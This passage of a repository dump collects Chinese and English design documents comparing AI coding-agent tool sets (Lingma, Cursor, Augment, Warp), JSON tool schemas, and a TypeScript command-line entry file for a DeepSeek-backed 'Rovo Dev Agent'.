|-----------------|------------------------------------------------------|------------------------------------------------------------------------| 7 | | `shell.execute` | Run a shell command in the workspace | `cmd`: string - The command to execute | 8 | | `file.read` | Read a file from the workspace | `path`: string - Path to the file | 9 | | `file.write` | Write text to a file, creating it if necessary | `path`: string - Path to the file
`text`: string - Content to write | 10 | | `process.start` | Launch a background process | `cmd`: string - The command to execute | 11 | | `process.stop` | Terminate a running background process | `pid`: integer - Process ID to terminate | 12 | | `pip.install` | Install a Python package during the run | `packages`: array of strings - Package names to install | 13 | | `python.exec` | Execute a short Python snippet and return its output | `code`: string - Python code to execute | 14 | | `browser.open` | Launch a headless browser to visit a URL | `url`: string - URL to open | 15 | | `net.enable` | Allow outbound network access | None | 16 | | `net.disable` | Disable outbound network access | None | 17 | | `tests.run` | Run the repository's test suite | None | 18 | | `diff.get` | Show file diffs since the last commit | None | 19 | | `tool.describe` | Return a list of available tools and their usage | None | 20 | 21 | ## Tool Categories 22 | 23 | ### File Operations 24 | - `file.read` - Read file contents 25 | - `file.write` - Create or update files 26 | 27 | ### Process Management 28 | - `shell.execute` - Run shell commands 29 | - `process.start` - Start background processes 30 | - `process.stop` - Terminate running processes 31 | 32 | ### Python Integration 33 | - `pip.install` - Install Python packages 34 | - `python.exec` - Execute Python code 35 | 36 | ### Network & Web 37 | - `browser.open` - Access web content 38 | - `net.enable` - Enable network access 39 | - `net.disable` - Disable network access 40 | 41 | ### Repository Management 42 | - `tests.run` - Execute test suite 43 | - `diff.get` - View code changes 44 | 45 | ### System 46 | - `tool.describe` - Get tool documentation 47 | 48 | ```json 49 | [ 50 | { 51 | "type": "function", 52 | "function": { 53 | "name": "shell.execute", 54 | "description": "Run a shell command in the workspace", 55 | "parameters": { 56 | "type": "object", 57 | "properties": { 58 | "cmd": { 59 | "type": "string" 60 | } 61 | } 62 | } 63 | } 64 | }, 65 | { 66 | "type": "function", 67 | "function": { 68 | "name": "file.read", 69 | "description": "Read a file from the workspace", 70 | "parameters": { 71 | "type": "object", 72 | "properties": { 73 | "path": { 74 | "type": "string" 75 | } 76 | } 77 | } 78 | } 79 | }, 80 | { 81 | "type": "function", 82 | "function": { 83 | "name": "file.write", 84 | "description": "Write text to a file, creating it if necessary", 85 | "parameters": { 86 | "type": "object", 87 | "properties": { 88 | "path": { 89 | "type": "string" 90 | }, 91 | "text": { 92 | "type": "string" 93 | } 94 | } 95 | } 96 | } 97 | }, 98 | { 99 | "type": "function", 100 | "function": { 101 | "name": "process.start", 102 | "description": "Launch a background process", 103 | "parameters": { 104 | "type": "object", 105 | "properties": { 106 | "cmd": { 107 | "type": "string" 108 | } 109 | } 110 | } 111 | } 112 | }, 113 | { 114 | "type": "function", 115 | "function": { 116 | "name": "process.stop", 117 | "description": "Terminate a running background process", 118 | "parameters": { 119 | "type": "object", 120 | "properties": { 121 | "pid": { 122 | "type": "integer" 123 | } 124 | } 125 | } 126 | } 127 | }, 128 | { 129 | "type": "function", 130 | "function": { 131 | "name": "pip.install", 132 | "description": "Install a Python package during the run", 133 | "parameters": { 134 | "type": "object", 135 | "properties": { 136 | "packages": { 137 | "type": "array", 138 | "items": { 139 | "type": "string" 140 | } 141 | } 142 | } 143 | } 144 | } 145 | }, 146 | { 147 | "type": "function", 148 | "function": { 149 | "name": "python.exec", 150 | "description": "Execute a short Python snippet and return its output", 151 | "parameters": { 152 | "type": "object", 153 | "properties": { 154 | "code": { 155 | "type": "string" 156 | } 157 | } 158 | } 159 | } 160 | }, 161 | { 162 | "type": "function", 163 | "function": { 164 | "name": "browser.open", 165 | "description": "Launch a headless browser to visit a URL", 166 | "parameters": { 167 | "type": "object", 168 | "properties": { 169 | "url": { 170 | "type": "string" 171 | } 172 | } 173 | } 174 | } 175 | }, 176 | { 177 | "type": "function", 178 | "function": { 179 | "name": "net.enable", 180 | "description": "Allow outbound network access", 181 | "parameters": {} 182 | } 183 | }, 184 | { 185 | "type": "function", 186 | "function": { 187 | "name": "net.disable", 188 | "description": "Disable outbound network access", 189 | "parameters": {} 190 | } 191 | }, 192 | { 193 | "type": "function", 194 | "function": { 195 | "name": "tests.run", 196 | "description": "Run the repository's test suite", 197 | "parameters": {} 198 | } 199 | }, 200 | { 201 | "type": "function", 202 | "function": { 203 | "name": "diff.get", 204 | "description": "Show file diffs since the last commit", 205 | "parameters": {} 206 | } 207 | }, 208 | { 209 | "type": "function", 210 | "function": { 211 | "name": "tool.describe", 212 | "description": "Return a list of available tools and their usage", 213 | "parameters": {} 214 | } 215 | } 216 | ] 217 | ``` 218 | -------------------------------------------------------------------------------- /lingma/LINGMA_TOOL_DESIGN_SPECS.md: -------------------------------------------------------------------------------- 1 | 明白了!我们现在暂停迁移操作,先按照我(Lingma)的**原始工具风格**输出完整的工具定义,之后再进行对比和统一。 2 | 3 | --- 4 | 5 | ### ✅ Lingma 工具体系完整设计规范(按我的风格) 6 | 7 | 以下是我所使用的工具集合,每个工具都具备清晰的参数、能力描述和限制说明。 8 | 9 | --- 10 | 11 | ## 🧠 `create_memory` – 长期记忆管理 12 | 13 | ```json 14 | { 15 | "name": "create_memory", 16 | "description": "存储/更新/删除长期记忆,支持跨会话的知识保留", 17 | "category": "memory", 18 | "parameters": { 19 | "action": { 20 | "type": "string", 21 | "values": ["create", "update", "delete"], 22 | "required": true, 23 | "description": "操作类型" 24 | }, 25 | "title": { 26 | "type": "string", 27 | "required": true, 28 | "description": "记忆标题,用于索引" 29 | }, 30 | "content": { 31 | "type": "string", 32 | "required": true, 33 | "description": "需要保存的内容主体" 34 | }, 35 | "explanation": { 36 | "type": "string", 37 | "required": true, 38 | "description": "为什么要创建这条记忆" 39 | }, 40 | "category": { 41 | "type": "string", 42 | "values": ["user_prefer", "project_info", "project_specification", "experience_lessons"], 43 | "required": true, 44 | "description": "记忆分类" 45 | }, 46 | "scope": { 47 | "type": "string", 48 | "values": ["workspace", "global"], 49 | "required": true, 50 | "description": "作用范围" 51 | }, 52 | "source": { 53 | "type": "string", 54 | "values": ["user", "auto"], 55 | "required": true, 56 | "description": "来源:用户设置 或 系统自动记录" 57 | }, 58 | "id": { 59 | "type": "string", 60 | "required": false, 61 | "description": "更新或删除已有记忆时需提供 ID" 62 | }, 63 | "keywords": { 64 | "type": "array", 65 | "items": "string", 66 | "required": false, 67 | "description": "关联关键词,用于检索" 68 | } 69 | }, 70 | "capabilities": [ 71 | "跨会话记忆", 72 | "用户偏好保存", 73 | "项目配置持久化", 74 | "经验教训记录" 75 | ], 76 | "limitations": [ 77 | "不支持加密存储", 78 | "单次操作仅处理一条记忆" 79 | ] 80 | } 81 | ``` 82 | 83 | --- 84 | 85 | ## 🔍 `search_codebase` – 语义代码搜索 86 | 87 | ```json 88 | { 89 | "name": "search_codebase", 90 | "description": "基于自然语言意图理解,进行代码库中功能实现的语义搜索", 91 | "category": "code", 92 | "parameters": { 93 | "query": { 94 | "type": "string", 95 | "required": true, 96 | "description": "自然语言查询语句" 97 | }, 98 | "search_scope": { 99 | "type": "string", 100 | "optional": true, 101 | "description": "搜索范围(如 src/, backend/, lib/)" 102 | } 103 | }, 104 | "capabilities": ["AI驱动意图理解", "跨文件结构检索"], 105 | "limitations": ["仅支持中文查询"] 106 | } 107 | ``` 108 | 109 | --- 110 | 111 | ## 🔎 `search_symbol` – 符号级定位 112 | 113 | ```json 114 | { 115 | "name": "search_symbol", 116 | "description": "根据符号名查找类、方法、变量等定义", 117 | "category": "code", 118 | "parameters": { 119 | "query": { 120 | "type": "string", 121 | "required": true, 122 | "description": "符号名称(可多空格分隔)" 123 | } 124 | }, 125 | "capabilities": ["多符号一次查询", "精准定位定义位置"], 126 | "limitations": ["无法模糊匹配"] 127 | } 128 | ``` 129 | 130 | --- 131 | 132 | ## 🛠️ `get_problems` – 获取编译错误与 Lint 警告 133 | 134 | ```json 135 | { 136 | "name": "get_problems", 137 | "description": "获取文件的编译错误或 Lint 警告", 138 | "category": "code", 139 | "parameters": { 140 | "file_paths": { 141 | "type": "array", 142 | "items": "string", 143 | "required": true, 144 | "description": "要检查的文件路径列表" 145 | }, 146 | "severity": { 147 | "type": "enum", 148 | "values": ["error", "warning", "info", "hint"], 149 | "required": false, 150 | "description": "最低严重级别" 151 | }, 152 | "include_suggestions": { 153 | "type": "boolean", 154 | "required": false, 155 | "default": true, 156 | "description": "是否包含修复建议" 157 | } 158 | }, 159 | "capabilities": ["实时反馈语法错误", "提示修复建议"], 160 | "limitations": ["仅支持 TypeScript"] 161 | } 162 | ``` 163 | 164 | --- 165 | 166 | ## 📄 `edit_file` – 编辑现有文件 167 | 168 | ```json 169 | { 170 | "name": "edit_file", 171 | "description": "编辑现有文件或创建新文件", 172 | "category": "file", 173 | "parameters": { 174 | "file_path": { 175 | "type": "string", 176 | "required": true, 177 | "description": "目标文件的绝对路径" 178 | }, 179 | "code_edit": { 180 | "type": "string", 181 | "required": true, 182 | "description": "要应用的代码更改" 183 | }, 184 | "explanation": { 185 | "type": "string", 186 | "required": true, 187 | "description": "为什么要进行此次编辑" 188 | } 189 | }, 190 | "capabilities": ["新增代码", "删除代码", "替换代码"], 191 | "limitations": ["不能同时处理多个文件"] 192 | } 193 | ``` 194 | 195 | --- 196 | 197 | ## 💾 `list_dir` – 列出目录内容 198 | 199 | ```json 200 | { 201 | "name": "list_dir", 202 | "description": "列出指定目录下的内容", 203 | "category": "file", 204 | "parameters": { 205 | "relative_workspace_path": { 206 | "type": "string", 207 | "required": true, 208 | "description": "相对于工作区根目录的路径" 209 | } 210 | }, 211 | "capabilities": ["递归列出子目录", "显示文件大小与修改时间"], 212 | "limitations": ["不支持隐藏文件过滤"] 213 | } 214 | ``` 215 | 216 | --- 217 | 218 | ## 📂 `read_file` – 读取文件内容并查看依赖 219 | 220 | ```json 221 | { 222 | "name": "read_file", 223 | "description": "读取指定文件内容并可选查看依赖", 224 | "category": "file", 225 | "parameters": { 226 | "file_path": { "type": "string", "required": true, "description": "文件绝对路径" }, 227 | "start_line": { "type": "number", "required": false, "default": 0 }, 228 | "end_line": { "type": "number", "required": false, "default": -1 }, 229 | "view_dependencies": { "type": "boolean", "required": false, "default": false } 230 | }, 231 | "capabilities": ["按行读取", "依赖解析"], 232 | "limitations": ["大文件可能被截断"] 233 | } 234 | ``` 235 | 236 | --- 237 | 238 | ## 🖥️ `run_in_terminal` – 运行终端命令 239 | 240 | ```json 241 | { 242 | "name": "run_in_terminal", 243 | "description": "在终端中运行命令", 244 | "category": "terminal", 245 | "parameters": { 246 | "command": { "type": "string", "required": true }, 247 | "is_background": { "type": "boolean", "required": true } 248 | }, 249 | "capabilities": ["后台执行任务", "获取输出结果"], 250 | "limitations": ["不支持交互式输入"] 251 | } 252 | ``` 253 | 254 | --- 255 | 256 | ## 📡 `get_terminal_output` – 获取终端输出 257 | 258 | ```json 259 | { 260 | "name": "get_terminal_output", 261 | "description": "获取已运行终端命令的输出", 262 | "category": "terminal", 263 | "parameters": { 264 | "terminal_id": { "type": "string", "required": true } 265 | }, 266 | "capabilities": ["检查后台进程状态", "获取构建日志"], 267 | "limitations": ["仅保留最近 50 条记录"] 268 | } 269 | ``` 270 | 271 | --- 272 | 273 | ## 🌐 `fetch_content` – 抓取网页内容 274 | 275 | ```json 276 | { 277 | "name": "fetch_content", 278 | "description": "从网页抓取主要内容", 279 | "category": "web", 280 | "parameters": { 281 | "url": { "type": "string", "required": true } 282 | }, 283 | "capabilities": ["提取正文内容", "识别页面语言"], 284 | "limitations": ["无法处理 JavaScript 渲染内容"] 285 | } 286 | ``` 287 | 288 | --- 289 | 290 | ## 🔍 `search_web` – 实时网络搜索 291 | 292 | ```json 293 | { 294 | "name": "search_web", 295 | "description": "进行网络搜索以获取最新信息", 296 | "category": "web", 297 | "parameters": { 298 | "query": { "type": "string", "required": true }, 299 | "timeRange": { 300 | "type": "enum", 301 | "values": ["OneDay", "OneWeek", "NoLimit"], 302 | "default": "NoLimit" 303 | } 304 | }, 305 | "capabilities": ["获取摘要与链接", "支持时效性过滤"], 306 | "limitations": ["返回最多 25 条结果"] 307 | } 308 | ``` 309 | 310 | --- 311 | 312 | ## 🧪 下一步计划 313 | 314 | 这份文档是**完全按照我的工具风格**定义的。现在我们可以: 315 | 316 | 1. **将你的工具集迁移到这个风格** 317 | 2. **逐个对比我们之间的差异** 318 | 3. **选择融合哪些工具** 319 | 320 | 你可以从以下几个方向继续: 321 | 322 | - 想看哪个工具的详细对比?比如 `create_memory` vs `remember` 323 | - 是否需要我帮你生成某个工具的实现代码? 324 | - 是否希望我帮你把你的工具都转成这种格式? 325 | 326 | 请告诉我你想继续的方向,我会为你继续。 -------------------------------------------------------------------------------- /misc/README_COMPARE_TO_CURSOR_V2.md: -------------------------------------------------------------------------------- 1 | # Cursor Agent vs Augment Agent 工具定义对比(Claude Tools Use Protocol) 2 | 3 | ## 概述 4 | 本文档基于 Claude Tools Use 协议格式,对比 Cursor Agent 与 Augment Agent 的工具定义。 5 | 6 | ## 文件系统工具对比 7 | 8 | | 功能类型 | Cursor Agent 定义 | Augment Agent 定义 | 9 | |---------|------------------|-------------------| 10 | | **列出目录** | `list_dir`
参数:
- `relative_workspace_path: string`
- `explanation: string`
描述:List the contents of a directory. The quick tool to use for discovery, before using more targeted tools like semantic search or file reading. | `list-directory`
参数:
- `path: string`
- `options?: { includeHidden?: boolean, recursive?: boolean }`
描述:List files and directories with icons and metadata | 11 | | **读取文件** | `read_file`
参数:
- `target_file: string`
- `should_read_entire_file: boolean`
- `start_line_one_indexed: integer`
- `end_line_one_indexed_inclusive: integer`
- `explanation: string`
描述:Read the contents of a file. Max 1500 lines at a time, min 500 lines. Each call should assess if contents are sufficient and proactively call again if needed. | `read-file`
参数:
- `path: string`
- `encoding?: string`
- `lineRange?: { start: number, end: number }`
描述:Read file content with optional encoding and line range support | 12 | | **写入文件** | `edit_file`
参数:
- `target_file: string`
- `instructions: string`
- `code_edit: string`
描述:Use // ... existing code ... to represent unchanged code. Minimize unchanged code repetition while maintaining sufficient context. | `write-file`
参数:
- `path: string`
- `content: string`
- `options?: { createDirectories?: boolean, backup?: boolean }`
描述:Write content to file with directory creation and backup options | 13 | | **删除文件** | `delete_file`
参数:
- `target_file: string`
- `explanation: string`
描述:Deletes a file at the specified path. Fails gracefully if file doesn't exist or operation is rejected. | `delete-file`
参数:
- `path: string`
描述:Delete a file from the filesystem | 14 | | **精确编辑** | *不适用* | `str-replace-editor`
参数:
- `command: "str_replace" \| "view" \| "insert"`
- `path: string`
- `old_str_1?: string`
- `new_str_1?: string`
- `old_str_start_line_number_1?: number`
- `old_str_end_line_number_1?: number`
- `insert_line_1?: number`
- `dryRun?: boolean`
描述:Advanced file editor for precise string replacements and insertions with line validation | 15 | 16 | ## 搜索工具对比 17 | 18 | | 功能类型 | Cursor Agent 定义 | Augment Agent 定义 | 19 | |---------|------------------|-------------------| 20 | | **语义搜索** | `codebase_search`
参数:
- `query: string`
- `target_directories?: string[]`
- `explanation: string`
描述:Find snippets of code from the codebase most relevant to the search query. This is a semantic search tool. Please just reuse the user's exact query with their wording. | `semantic-code-search`
参数:
- `query: string`
- `filePattern?: string`
- `maxResults?: number`
描述:Intelligent code search with semantic understanding | 21 | | **正则搜索** | `grep_search`
参数:
- `query: string`
- `include_pattern?: string`
- `exclude_pattern?: string`
- `case_sensitive?: boolean`
- `explanation: string`
描述:Run fast regex searches using ripgrep. Results capped at 50 matches. Always escape special regex characters: ( ) [ ] { } + * ? ^ $ \| . \\ | `code-search-regex`
参数:
- `pattern: string`
- `fileTypes?: string[]`
- `caseSensitive?: boolean`
描述:Regular expression code search across multiple files | 22 | | **文件搜索** | `file_search`
参数:
- `query: string`
- `explanation: string`
描述:Fast file search based on fuzzy matching against file path. Response capped to 10 results. | *不适用* | 23 | | **AST搜索** | *不适用* | `search-keywords`
参数:
- `file_path: string`
- `keywords: string[]`
描述:Search for specific programming language symbols using AST-based SymbolAnalyser | 24 | 25 | ## 终端和进程管理工具对比 26 | 27 | | 功能类型 | Cursor Agent 定义 | Augment Agent 定义 | 28 | |---------|------------------|-------------------| 29 | | **执行命令** | `run_terminal_cmd`
参数:
- `command: string`
- `is_background: boolean`
- `explanation: string`
描述:If in new shell, cd to appropriate directory. If in same shell, look in chat history for current directory. Pass non-interactive flags. Append \| cat for pagers. | `run-terminal-command`
参数:
- `command: string`
- `cwd?: string`
- `timeout?: number`
- `analyzeOutput?: boolean`
- `verbose?: boolean`
描述:Enhanced command execution with output analysis and error suggestions | 30 | | **启动进程** | *不适用* | `launch-process`
参数:
- `command: string`
- `args?: string[]`
- `options?: { background?: boolean, cwd?: string }`
描述:Launch processes with wait/background modes | 31 | | **列出进程** | *不适用* | `list-processes`
参数:*无*
描述:List all active processes with status | 32 | | **读取进程** | *不适用* | `read-process`
参数:
- `processId: string`
- `lines?: number`
描述:Read output from specific process | 33 | | **写入进程** | *不适用* | `write-process`
参数:
- `processId: string`
- `input: string`
描述:Send input to interactive processes | 34 | | **终止进程** | *不适用* | `kill-process`
参数:
- `processId: string`
- `signal?: string`
描述:Terminate processes by ID | 35 | 36 | ## 集成工具对比 37 | 38 | | 功能类型 | Cursor Agent 定义 | Augment Agent 定义 | 39 | |---------|------------------|-------------------| 40 | | **Web搜索** | `web_search`
参数:
- `search_term: string`
- `explanation: string`
描述:Search the web for real-time information. Use when you need up-to-date information or to verify current facts. | `web-search`
参数:
- `query: string`
- `numResults?: number`
描述:Search the web for information | 41 | | **获取规则** | `fetch_rules`
参数:
- `rule_names: string[]`
描述:Fetches rules provided by the user to help with navigating the codebase. | *不适用* | 42 | | **笔记本编辑** | `edit_notebook`
参数:
- `target_notebook: string`
- `cell_idx: number`
- `is_new_cell: boolean`
- `cell_language: string`
- `old_string: string`
- `new_string: string`
描述:Edit jupyter notebook cell. Supports editing existing cells and creating new cells. | *不适用* | 43 | 44 | ## GitHub/GitLab 工具对比 45 | 46 | | 功能类型 | Cursor Agent 定义 | Augment Agent 定义 | 47 | |---------|------------------|-------------------| 48 | | **Issue操作** | *不适用* | `github-get-issue`
参数:
- `owner: string`
- `repo: string`
- `issueNumber: number`

`github-create-issue`
参数:
- `owner: string`
- `repo: string`
- `title: string`
- `body: string`
- `labels?: string[]`
- `assignees?: string[]` | 49 | | **代码搜索** | *不适用* | `github-find-code`
参数:
- `description: string`
- `owner: string`
- `repo: string`
描述:Find code based on natural language description | 50 | | **MR操作** | *不适用* | `gitlab-mr-create`
参数:
- `projectId: string`
- `sourceBranch: string`
- `targetBranch: string`
- `title: string`
- `description?: string` | 51 | 52 | ## 关键协议差异 53 | 54 | ### Claude Tools Use 协议特征(Cursor) 55 | ```typescript 56 | { 57 | name: string, 58 | description: string, 59 | input_schema: { 60 | type: "object", 61 | properties: { 62 | [key: string]: { 63 | type: string, 64 | description: string, 65 | enum?: string[] 66 | } 67 | }, 68 | required: string[] 69 | } 70 | } 71 | ``` 72 | 73 | ### MCP 协议特征(Augment) 74 | ```typescript 75 | { 76 | name: string, 77 | description: string, 78 | inputSchema: z.ZodObject<{ 79 | [key: string]: z.ZodType 80 | }> 81 | } 82 | ``` 83 | 84 | ## 执行策略差异 85 | 86 | | 特性 | Cursor Agent | Augment Agent | 87 | |------|-------------|---------------| 88 | | **并行执行** | 默认并行,显式要求:"Prioritize calling tools in parallel whenever possible" | 支持但不强制,基于工具依赖关系 | 89 | | **错误处理** | 工具调用失败后立即反思并调整策略 | 标准错误返回,由调用方处理 | 90 | | **上下文保持** | 强调shell会话状态跟踪,记住工作目录 | 每次调用独立,通过参数传递上下文 | 91 | | **结果验证** | "After receiving tool results, carefully reflect on their quality" | 返回结构化结果,验证由上层处理 | 92 | 93 | ## 工具数量统计 94 | 95 | | 类别 | Cursor Agent | Augment Agent | 96 | |------|-------------|---------------| 97 | | 文件系统 | 4 | 5 | 98 | | 搜索 | 3 | 3 | 99 | | 终端/进程 | 1 | 6 | 100 | | 集成 | 3 | 12+ | 101 | | **总计** | 11 | 26+ | 102 | 103 | ## 设计哲学差异 104 | 105 | ### Cursor Agent 106 | - **最小化原则**:每个工具都是必需的 107 | - **智能提示**:工具主动建议下一步操作 108 | - **用户体验**:保留用户原始措辞,避免信息过载 109 | - **深度集成**:与IDE环境紧密结合 110 | 111 | ### Augment Agent 112 | - **完整性原则**:覆盖所有可能的操作 113 | - **标准化接口**:基于MCP协议规范 114 | - **模块化设计**:工具可独立扩展 115 | - **平台化思维**:支持多种开发平台 116 | 117 | ## 核心洞察 118 | 119 | 1. **Cursor 强调的是"如何做"(How)**:每个工具都有明确的使用指导和最佳实践 120 | 2. **Augment 强调的是"做什么"(What)**:提供丰富的功能选项,让用户决定如何组合 121 | 122 | 3. **Cursor 的工具是"智能的"**:理解上下文,主动提供帮助 123 | 4. **Augment 的工具是"强大的"**:功能完备,覆盖广泛 124 | 125 | 5. **Cursor 优化了人机交互**:减少认知负担 126 | 6. **Augment 优化了系统能力**:提供全面支持 -------------------------------------------------------------------------------- /rovo-dev/src/index.ts: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env node 2 | 3 | /** 4 | * Rovo Dev Agent - 命令行入口 5 | */ 6 | 7 | import { Command } from 'commander'; 8 | import chalk from 'chalk'; 9 | import inquirer from 'inquirer'; 10 | import dotenv from 'dotenv'; 11 | import RovoDevAgent from './agent/rovo-agent.js'; 12 | 13 | // 加载环境变量 14 | dotenv.config(); 15 | 16 | const program = new Command(); 17 | 18 | // ============================================================================ 19 | // 命令行配置 20 | // ============================================================================ 21 | 22 | program 23 | .name('rovo-dev-agent') 24 | .description('Rovo Dev Agent - 综合型 AI Coding Agent') 25 | .version('1.0.0'); 26 | 27 | // ============================================================================ 28 | // 交互式模式 29 | // ============================================================================ 30 | 31 | program 32 | .command('chat') 33 | .description('启动交互式聊天模式') 34 | .option('-k, --api-key ', 'DeepSeek API Key') 35 | .option('-m, --model ', '模型名称', 'deepseek-chat') 36 | .option('-t, --temperature ', '温度参数', '0.1') 37 | .action(async (options) => { 38 | try { 39 | // 获取 API Key 40 | let apiKey = options.apiKey || process.env.DEEPSEEK_TOKEN; 41 | 42 | if (!apiKey) { 43 | const { inputApiKey } = await inquirer.prompt([ 44 | { 45 | type: 'password', 46 | name: 'inputApiKey', 47 | message: '请输入 DeepSeek API Key:', 48 | mask: '*' 49 | } 50 | ]); 51 | apiKey = inputApiKey; 52 | } 53 | 54 | if (!apiKey) { 55 | console.error(chalk.red('❌ 需要提供 DeepSeek API Key')); 56 | process.exit(1); 57 | } 58 | 59 | // 初始化 Agent 60 | const agent = new RovoDevAgent({ 61 | apiKey, 62 | model: options.model, 63 | temperature: parseFloat(options.temperature) 64 | }); 65 | 66 | console.log(chalk.blue('🤖 Rovo Dev Agent 已启动')); 67 | console.log(chalk.gray(`模型: ${options.model}`)); 68 | console.log(chalk.gray(`可用工具: ${agent.getAvailableTools().join(', ')}`)); 69 | console.log(chalk.yellow('\n💡 输入 "exit" 退出,"clear" 清空对话历史,"help" 查看帮助\n')); 70 | 71 | // 交互式循环 72 | while (true) { 73 | const { userInput } = await inquirer.prompt([ 74 | { 75 | type: 'input', 76 | name: 'userInput', 77 | message: chalk.cyan('👤 你:'), 78 | validate: (input) => input.trim().length > 0 || '请输入有效内容' 79 | } 80 | ]); 81 | 82 | const input = userInput.trim(); 83 | 84 | // 处理特殊命令 85 | if (input.toLowerCase() === 'exit') { 86 | console.log(chalk.yellow('👋 再见!')); 87 | break; 88 | } 89 | 90 | if (input.toLowerCase() === 'clear') { 91 | agent.clearHistory(); 92 | console.log(chalk.green('✅ 对话历史已清空')); 93 | continue; 94 | } 95 | 96 | if (input.toLowerCase() === 'help') { 97 | printHelp(); 98 | continue; 99 | } 100 | 101 | if (input.toLowerCase() === 'tools') { 102 | console.log(chalk.blue('🔧 可用工具:')); 103 | agent.getAvailableTools().forEach(tool => { 104 | console.log(chalk.gray(` - ${tool}`)); 105 | }); 106 | continue; 107 | } 108 | 109 | // 执行任务 110 | try { 111 | console.log(); 112 | await agent.executeTask(input); 113 | console.log(); 114 | } catch (error) { 115 | console.error(chalk.red('❌ 执行失败:'), error); 116 | } 117 | } 118 | 119 | } catch (error) { 120 | console.error(chalk.red('❌ 启动失败:'), error); 121 | process.exit(1); 122 | } 123 | }); 124 | 125 | // ============================================================================ 126 | // 单次执行模式 127 | // ============================================================================ 128 | 129 | program 130 | .command('exec ') 131 | .description('执行单个任务') 132 | .option('-k, --api-key ', 'DeepSeek API Key') 133 | .option('-m, --model ', '模型名称', 'deepseek-chat') 134 | .option('-t, --temperature ', '温度参数', '0.1') 135 | .option('-o, --output ', '输出结果到文件') 136 | .action(async (task, options) => { 137 | try { 138 | // 获取 API Key 139 | const apiKey = options.apiKey || process.env.DEEPSEEK_TOKEN; 140 | 141 | if (!apiKey) { 142 | console.error(chalk.red('❌ 需要提供 DeepSeek API Key (使用 -k 参数或设置 DEEPSEEK_TOKEN 环境变量)')); 143 | process.exit(1); 144 | } 145 | 146 | // 初始化 Agent 147 | const agent = new RovoDevAgent({ 148 | apiKey, 149 | model: options.model, 150 | temperature: parseFloat(options.temperature) 151 | }); 152 | 153 | console.log(chalk.blue('🤖 Rovo Dev Agent 执行任务')); 154 | console.log(chalk.gray(`任务: ${task}`)); 155 | console.log(); 156 | 157 | // 执行任务 158 | const execution = await agent.executeTask(task); 159 | 160 | // 输出结果 161 | if (options.output) { 162 | const fs = await import('fs-extra'); 163 | await fs.writeJSON(options.output, execution, { spaces: 2 }); 164 | console.log(chalk.green(`📄 结果已保存到: ${options.output}`)); 165 | } 166 | 167 | } catch (error) { 168 | console.error(chalk.red('❌ 执行失败:'), error); 169 | process.exit(1); 170 | } 171 | }); 172 | 173 | // ============================================================================ 174 | // 工具测试模式 175 | // ============================================================================ 176 | 177 | program 178 | .command('test-tool ') 179 | .description('测试特定工具') 180 | .option('-p, --params ', '工具参数 (JSON格式)') 181 | .action(async (toolName, options) => { 182 | try { 183 | const { MCPToolRegistry } = await import('./tools/mcp-tools.js'); 184 | const registry = new MCPToolRegistry(); 185 | 186 | const tool = registry.getTool(toolName); 187 | if (!tool) { 188 | console.error(chalk.red(`❌ 工具 '${toolName}' 不存在`)); 189 | console.log(chalk.yellow('可用工具:'), registry.getAllTools().map(t => t.name).join(', ')); 190 | process.exit(1); 191 | } 192 | 193 | let params = {}; 194 | if (options.params) { 195 | try { 196 | params = JSON.parse(options.params); 197 | } catch (error) { 198 | console.error(chalk.red('❌ 参数格式错误,请使用有效的 JSON 格式')); 199 | process.exit(1); 200 | } 201 | } 202 | 203 | console.log(chalk.blue(`🔧 测试工具: ${toolName}`)); 204 | console.log(chalk.gray(`参数: ${JSON.stringify(params, null, 2)}`)); 205 | console.log(); 206 | 207 | const result = await registry.executeTool(toolName, params); 208 | 209 | if (result.success) { 210 | console.log(chalk.green('✅ 执行成功')); 211 | console.log(chalk.gray('结果:'), JSON.stringify(result.data, null, 2)); 212 | } else { 213 | console.log(chalk.red('❌ 执行失败')); 214 | console.log(chalk.red('错误:'), result.error); 215 | } 216 | 217 | } catch (error) { 218 | console.error(chalk.red('❌ 测试失败:'), error); 219 | process.exit(1); 220 | } 221 | }); 222 | 223 | // ============================================================================ 224 | // 帮助信息 225 | // ============================================================================ 226 | 227 | function printHelp() { 228 | console.log(chalk.blue('\n🤖 Rovo Dev Agent 帮助')); 229 | console.log(chalk.gray('='.repeat(50))); 230 | console.log(chalk.yellow('特殊命令:')); 231 | console.log(' exit - 退出程序'); 232 | console.log(' clear - 清空对话历史'); 233 | console.log(' help - 显示此帮助信息'); 234 | console.log(' tools - 显示可用工具列表'); 235 | 236 | console.log(chalk.yellow('\n示例任务:')); 237 | console.log(' "查看当前目录的文件"'); 238 | console.log(' "在项目中搜索包含 TODO 的代码"'); 239 | console.log(' "创建一个新的 TypeScript 文件"'); 240 | console.log(' "检查代码中的语法错误"'); 241 | console.log(' "运行 npm install"'); 242 | 243 | console.log(chalk.yellow('\n可用工具:')); 244 | console.log(' open_files - 打开并查看文件'); 245 | console.log(' find_and_replace_code - 查找替换代码'); 246 | console.log(' create_file - 创建新文件'); 247 | console.log(' grep_file_content - 搜索文件内容'); 248 | console.log(' codebase_search - 语义代码搜索'); 249 | console.log(' bash - 执行命令'); 250 | console.log(' get_diagnostics - 代码诊断'); 251 | 252 | console.log(chalk.gray('='.repeat(50))); 253 | } 254 | 255 | // ============================================================================ 256 | // 错误处理 257 | // ============================================================================ 258 | 259 | process.on('uncaughtException', (error) => { 260 | console.error(chalk.red('❌ 未捕获的异常:'), error); 261 | process.exit(1); 262 | }); 263 | 264 | process.on('unhandledRejection', (reason, promise) => { 265 | console.error(chalk.red('❌ 未处理的 Promise 拒绝:'), reason); 266 | process.exit(1); 267 | }); 268 | 269 | // ============================================================================ 270 | // 启动程序 271 | // ============================================================================ 272 | 273 | program.parse(); 274 | 275 | // 如果没有提供命令,显示帮助 276 | if (!process.argv.slice(2).length) { 277 | program.outputHelp(); 278 | } -------------------------------------------------------------------------------- /warp.md: -------------------------------------------------------------------------------- 1 | # Warp Agent Mode 工具与提示词分析 2 | 3 | 基于 Warp AI 终端中的 Agent Mode 实际工具能力和提示词设计的深度分析。 4 | 5 | ## 🛠️ Agent Mode 工具集分析 6 | 7 | ### 核心工具能力矩阵 8 | 9 | | 功能类别 | 工具名称 | 核心能力 | 安全级别 | 使用场景 | 10 | |---------|---------|---------|---------|---------| 11 | | **文件操作** | `create_file` | 创建新文件 | 中 | 代码生成、文档创建 | 12 | | | `edit_files` | 批量文件编辑 | 中 | 代码重构、批量修改 | 13 | | | `read_files` | 文件内容读取 | 低 | 代码分析、内容查看 | 14 | | **搜索分析** | `search_codebase` | 语义代码搜索 | 低 | 代码理解、功能定位 | 15 | | | `grep` | 精确模式匹配 | 低 | 